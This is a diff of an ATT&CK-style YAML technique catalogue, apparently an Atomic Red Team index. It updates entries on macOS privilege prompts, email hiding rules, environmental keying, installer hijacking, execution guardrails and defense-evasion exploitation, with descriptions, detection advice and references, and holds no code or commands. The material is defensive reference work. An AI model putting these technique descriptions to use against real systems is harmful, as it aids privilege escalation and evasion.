+      type: attack-pattern
       name: Elevated Execution with Prompt
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-03-27T12:04:37.823Z'
+      created: '2020-01-30T14:40:20.187Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code>
         API to escalate privileges by prompting the user for credentials.(Citation:
         AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to
@@ -27437,45 +28013,132 @@ defense-evasion:
         Feb 2019) This technique has also been shown to work by modifying legitimate
         programs present on the machine that make use of this API.(Citation: Death
         by 1000 installers; it's all broken!)"
-      id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-03-27T12:04:37.823Z'
-      created: '2020-01-30T14:40:20.187Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_effective_permissions:
       - root
-      x_mitre_permissions_required:
-      - Administrator
-      - User
+      x_mitre_contributors:
+      - Jimmy Astle, @AstleJimmy, Carbon Black
+      - Erika Noerenberg, @gutterchurl, Carbon Black
       x_mitre_detection: Consider monitoring for <code>/usr/libexec/security_authtrampoline</code>
         executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code>
         is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code>
         is being called. Monitoring OS API callbacks for the execution can also be
         a way to detect this behavior but requires specialized security tooling.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Jimmy Astle, @AstleJimmy, Carbon Black
-      - Erika Noerenberg, @gutterchurl, Carbon Black
-      x_mitre_platforms:
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548/004
+        external_id: T1548.004
+        source_name: mitre-attack
+      - url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
+        description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges.
+          Retrieved August 8, 2019.
+        source_name: AppleDocs AuthorizationExecuteWithPrivileges
+      - url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
+        description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!.
+          Retrieved August 8, 2019.
+        source_name: Death by 1000 installers; it's all broken!
+      - url: https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/
+        description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS
+          Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.
+        source_name: Carbon Black Shlayer Feb 2019
+      - url: https://objective-see.com/blog/blog_0x2A.html
+        description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected
+          (OSX)Coldroot RAT. Retrieved August 8, 2019.
+        source_name: OSX Coldroot RAT
     atomic_tests: []
-  T1480.001:
+  T1564.008:
     technique:
-      created: '2020-06-23T22:28:28.041Z'
-      modified: '2021-03-29T19:56:42.242Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Email Hiding Rules
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
+      modified: '2021-10-16T01:24:31.674Z'
+      created: '2021-06-07T13:20:23.767Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
+      id: attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
+
+        Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.
+
+        Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)
+      x_mitre_contributors:
+      - Dor Edry, Microsoft
+      x_mitre_detection: |-
+        Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.
+
+        On Windows systems, monitor for creation of suspicious inbox rules through the use of the <code>New-InboxRule</code> and <code>Set-InboxRule</code> PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the <code>RulesActiveState.plist</code>, <code>SyncedRules.plist</code>, <code>UnsyncedRules.plist</code>, and <code>MessageRules.plist</code> files.(Citation: MacOS Email Rules)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1564/008
+        external_id: T1564.008
+        source_name: mitre-attack
+      - url: https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59
+        description: Microsoft. (n.d.). Manage email messages by using rules. Retrieved
+          June 11, 2021.
+        source_name: Microsoft Inbox Rules
+      - url: https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac
+        description: Apple. (n.d.). Use rules to manage emails you receive in Mail
+          on Mac. Retrieved June 14, 2021.
+        source_name: MacOS Email Rules
+      - url: https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps
+        description: Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.
+        source_name: Microsoft New-InboxRule
+      - url: https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps
+        description: Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.
+        source_name: Microsoft Set-InboxRule
+      - url: https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154
+        description: Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft
+          Cloud App Security. Retrieved June 7, 2021.
+        source_name: Microsoft Cloud App Security
+      - url: https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/
+        description: 'Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of
+          business email compromise: Using cross-domain threat data to disrupt a large
+          BEC campaign. Retrieved June 15, 2021.'
+        source_name: Microsoft BEC Campaign
+    atomic_tests: []
+  T1480.001:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Environmental Keying
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-06-09T18:53:58.159Z'
+      created: '2020-06-23T22:28:28.041Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Host forensic analysis
+      - Signature-based detection
+      - Static file analysis
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)
 
@@ -27484,93 +28147,62 @@ defense-evasion:
         Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.
 
         Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.
-      name: Environmental Keying
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1480.001
-        url: https://attack.mitre.org/techniques/T1480/001
-      - source_name: EK Clueless Agents
-        url: https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf
-        description: Riordan, J., Schneier, B. (1998, June 18). Environmental Key
-          Generation towards Clueless Agents. Retrieved January 18, 2019.
-      - source_name: Kaspersky Gauss Whitepaper
-        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf
-        description: 'Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution.
-          Retrieved January 17, 2019.'
-      - source_name: Proofpoint Router Malvertising
-        url: https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices
-        description: Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising
-          on Windows, Android Devices. Retrieved January 16, 2019.
-      - source_name: EK Impeding Malware Analysis
-        url: https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf
-        description: Song, C., et al. (2012, August 7). Impeding Automated Malware
-          Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.
-      - source_name: Environmental Keyed HTA
-        url: https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/
-        description: Warren, R. (2017, August 8). Smuggling HTA files in Internet
-          Explorer/Edge. Retrieved January 16, 2019.
-      - source_name: 'Ebowla: Genetic Malware'
-        url: https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf
-        description: 'Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing
-          Payloads for Specific Targets. Retrieved January 18, 2019.'
-      - source_name: Demiguise Guardrail Router Logo
-        url: https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js
-        description: 'Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved
-          January 17, 2019.'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Host forensic analysis
-      - Signature-based detection
-      - Static file analysis
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
+      x_mitre_contributors:
+      - Nick Carr, Mandiant
       x_mitre_detection: Detecting the use of environmental keying may be difficult
         depending on the implementation. Monitoring for suspicious processes being
         spawned that gather a variety of system information or perform other forms
         of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short
         period of time, may aid in detection.
-      x_mitre_contributors:
-      - Nick Carr, FireEye
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1480/001
+        external_id: T1480.001
+        source_name: mitre-attack
+      - url: https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf
+        description: Riordan, J., Schneier, B. (1998, June 18). Environmental Key
+          Generation towards Clueless Agents. Retrieved January 18, 2019.
+        source_name: EK Clueless Agents
+      - url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf
+        description: 'Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution.
+          Retrieved January 17, 2019.'
+        source_name: Kaspersky Gauss Whitepaper
+      - url: https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices
+        description: Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising
+          on Windows, Android Devices. Retrieved January 16, 2019.
+        source_name: Proofpoint Router Malvertising
+      - url: https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf
+        description: Song, C., et al. (2012, August 7). Impeding Automated Malware
+          Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.
+        source_name: EK Impeding Malware Analysis
+      - url: https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/
+        description: Warren, R. (2017, August 8). Smuggling HTA files in Internet
+          Explorer/Edge. Retrieved January 16, 2019.
+        source_name: Environmental Keyed HTA
+      - url: https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf
+        description: 'Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing
+          Payloads for Specific Targets. Retrieved January 18, 2019.'
+        source_name: 'Ebowla: Genetic Malware'
+      - url: https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js
+        description: 'Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved
+          January 17, 2019.'
+        source_name: Demiguise Guardrail Router Logo
     atomic_tests: []
   T1574.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.005
-        url: https://attack.mitre.org/techniques/T1574/005
-      - source_name: mozilla_sec_adv_2012
-        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
-        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
-          Advisory 2012-98. Retrieved March 10, 2017.
-      - source_name: Executable Installers are Vulnerable
-        url: https://seclists.org/fulldisclosure/2015/Dec/34
-        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
-          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
-          of privilege. Retrieved December 4, 2014.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Executable Installer File Permissions Weakness
-      description: |-
-        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
-
-        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
-
-        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
-      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
       type: attack-pattern
+      name: Executable Installer File Permissions Weakness
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-03-26T19:20:23.030Z'
+      created: '2020-03-13T11:12:18.558Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -27578,115 +28210,128 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-26T19:20:23.030Z'
-      created: '2020-03-13T11:12:18.558Z'
-      x_mitre_version: '1.0'
+      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
+      x_mitre_platforms:
+      - Windows
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - Administrator
       - User
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
+
+        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
+
+        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
       x_mitre_effective_permissions:
       - Administrator
       - User
       - SYSTEM
+      x_mitre_contributors:
+      - Travis Smith, Tripwire
+      - Stefan Kanthak
       x_mitre_detection: |-
         Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.
 
         Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      x_mitre_contributors:
-      - Travis Smith, Tripwire
-      - Stefan Kanthak
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/005
+        external_id: T1574.005
+        source_name: mitre-attack
+      - url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
+        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
+          Advisory 2012-98. Retrieved March 10, 2017.
+        source_name: mozilla_sec_adv_2012
+      - url: https://seclists.org/fulldisclosure/2015/Dec/34
+        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
+          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
+          of privilege. Retrieved December 4, 2014.'
+        source_name: Executable Installers are Vulnerable
     atomic_tests: []
   T1480:
     technique:
-      created: '2019-01-31T02:10:08.261Z'
-      modified: '2020-06-24T18:52:12.956Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      type: attack-pattern
-      id: attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852
-      description: |-
-        Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)
-
-        Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
-      name: Execution Guardrails
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1480
-        url: https://attack.mitre.org/techniques/T1480
-      - source_name: FireEye Kevin Mandia Guardrails
-        url: https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/
-        description: Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says
-          U.S. malware is more restrained than adversaries'. Retrieved January 17,
-          2019.
-      - source_name: FireEye Outlook Dec 2019
-        url: https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html
-        description: 'McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking
-          the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved
-          June 23, 2020.'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_contributors:
-      - Nick Carr, FireEye
+      type: attack-pattern
+      name: Execution Guardrails
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
-      x_mitre_detection: Detecting the use of guardrails may be difficult depending
-        on the implementation. Monitoring for suspicious processes being spawned that
-        gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007),
-        especially in a short period of time, may aid in detection.
-      x_mitre_permissions_required:
-      - User
+      x_mitre_version: '1.1'
+      modified: '2021-06-09T18:53:58.471Z'
+      created: '2019-01-31T02:10:08.261Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852
       x_mitre_defense_bypassed:
       - Anti-virus
       - Host forensic analysis
       - Signature-based detection
       - Static file analysis
-      x_mitre_version: '1.1'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
       x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)
+
+        Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
+      x_mitre_contributors:
+      - Nick Carr, Mandiant
+      x_mitre_detection: Detecting the use of guardrails may be difficult depending
+        on the implementation. Monitoring for suspicious processes being spawned that
+        gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007),
+        especially in a short period of time, may aid in detection.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1480
+        external_id: T1480
+        source_name: mitre-attack
+      - url: https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/
+        description: Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says
+          U.S. malware is more restrained than adversaries'. Retrieved January 17,
+          2019.
+        source_name: FireEye Kevin Mandia Guardrails
+      - url: https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html
+        description: 'McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking
+          the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved
+          June 23, 2020.'
+        source_name: FireEye Outlook Dec 2019
     atomic_tests: []
   T1211:
     technique:
-      id: attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Exploitation for Defense Evasion
-      description: |-
-        Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.
-
-        Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1211
-        external_id: T1211
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Exploitation for Defense Evasion
+      x_mitre_version: '1.1'
+      modified: '2020-03-29T20:00:46.900Z'
+      created: '2018-04-18T17:59:24.739Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-29T20:00:46.900Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - System access controls
       x_mitre_platforms:
       - Linux
       - Windows
       - macOS
-      x_mitre_permissions_required:
-      - User
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b
+      description: |-
+        Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.
+
+        Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.
+      x_mitre_contributors:
+      - John Lambert, Microsoft Threat Intelligence Center
       x_mitre_detection: Exploitation for defense evasion may happen shortly after
         the system has been compromised to prevent detection during later actions
         for for additional tools that may be brought in and used. Detecting software
@@ -27696,52 +28341,30 @@ defense-evasion:
         compromise, such as abnormal behavior of processes. This could include suspicious
         files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
         for attempts to hide execution or evidence of Discovery.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - System access controls
-      x_mitre_contributors:
-      - John Lambert, Microsoft Threat Intelligence Center
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1211
+        external_id: T1211
+        source_name: mitre-attack
     atomic_tests: []
   T1055.011:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.011
-        url: https://attack.mitre.org/techniques/T1055/011
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
-        description: Microsoft. (n.d.). About Window Classes. Retrieved December 16,
-          2017.
-        source_name: Microsoft Window Classes
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
-        description: Microsoft. (n.d.). GetWindowLong function. Retrieved December
-          16, 2017.
-        source_name: Microsoft GetWindowLong function
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
-        description: Microsoft. (n.d.). SetWindowLong function. Retrieved December
-          16, 2017.
-        source_name: Microsoft SetWindowLong function
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
